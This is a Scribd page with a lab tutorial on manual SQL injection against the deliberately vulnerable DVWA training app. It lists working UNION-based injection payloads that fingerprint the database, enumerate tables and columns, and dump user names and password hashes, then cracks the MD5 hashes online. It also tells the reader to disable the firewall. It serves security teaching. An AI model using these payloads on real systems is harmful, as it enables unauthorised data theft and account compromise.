Scribd
Upload
3 views8 pages

5-Manual SQL Injection, John The Ripper

The document provides a guide on manual SQL injection, detailing how to exploit web applications by inserting SQL commands into input fields. It outlines the necessary preparations, such as disabling the firewall, and step-by-step implementation instructions for executing various SQL injection techniques. Additionally, it includes methods for extracting user data and cracking MD5 passwords using online tools.

Uploaded by

quynhmaibts7
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
3 views8 pages

5-Manual SQL Injection, John The Ripper

The document provides a guide on manual SQL injection, detailing how to exploit web applications by inserting SQL commands into input fields. It outlines the necessary preparations, such as disabling the firewall, and step-by-step implementation instructions for executing various SQL injection techniques. Additionally, it includes methods for extracting user data and cracking MD5 passwords using online tools.

Uploaded by

quynhmaibts7
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Manual SQL Injection

1. Introduction
SQL Injection is one of the types of web hacking is becoming popular
nowadays. By inserting the SQL query / command code into the input before
passing it to the web application. You can login without usernames and passwords,
remote execution, dump data, and get access to database management system such
as MSSQL, MYSQL.

2. Preparation
- Computer running windows operating system. Require to disable the firewall on
the system.
3. Implementation steps
- Enter [Link] login with user: admin. Pass:
password

- Login into DVWA . Select DVWA security > Select low and submit
- Select SQL Injection
- Type 1 and submit

- Type: %' or '0'='0 and submit


- Type : %' or 0=0 union select null, version() # and submit

- Type: %' or 0=0 union select null, user() # and submit


- Type: %' or 0=0 union select null, database() # and submit

Type: %' and 1=0 union select null, table_name from information_schema.tables #
- Type : %' and 1=0 union select null, table_name from
information_schema.tables where table_name like 'user%'#
- Type: %' and 1=0 union select null,
concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #

- Type: %' and 1=0 union select null,


concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
#
Open notepad > Coppy paste user and pass We can query now

- Save as in notepad
- We can go to [Link] to crack password md5 online.
User : Admin, password when crack md5 is below

You might also like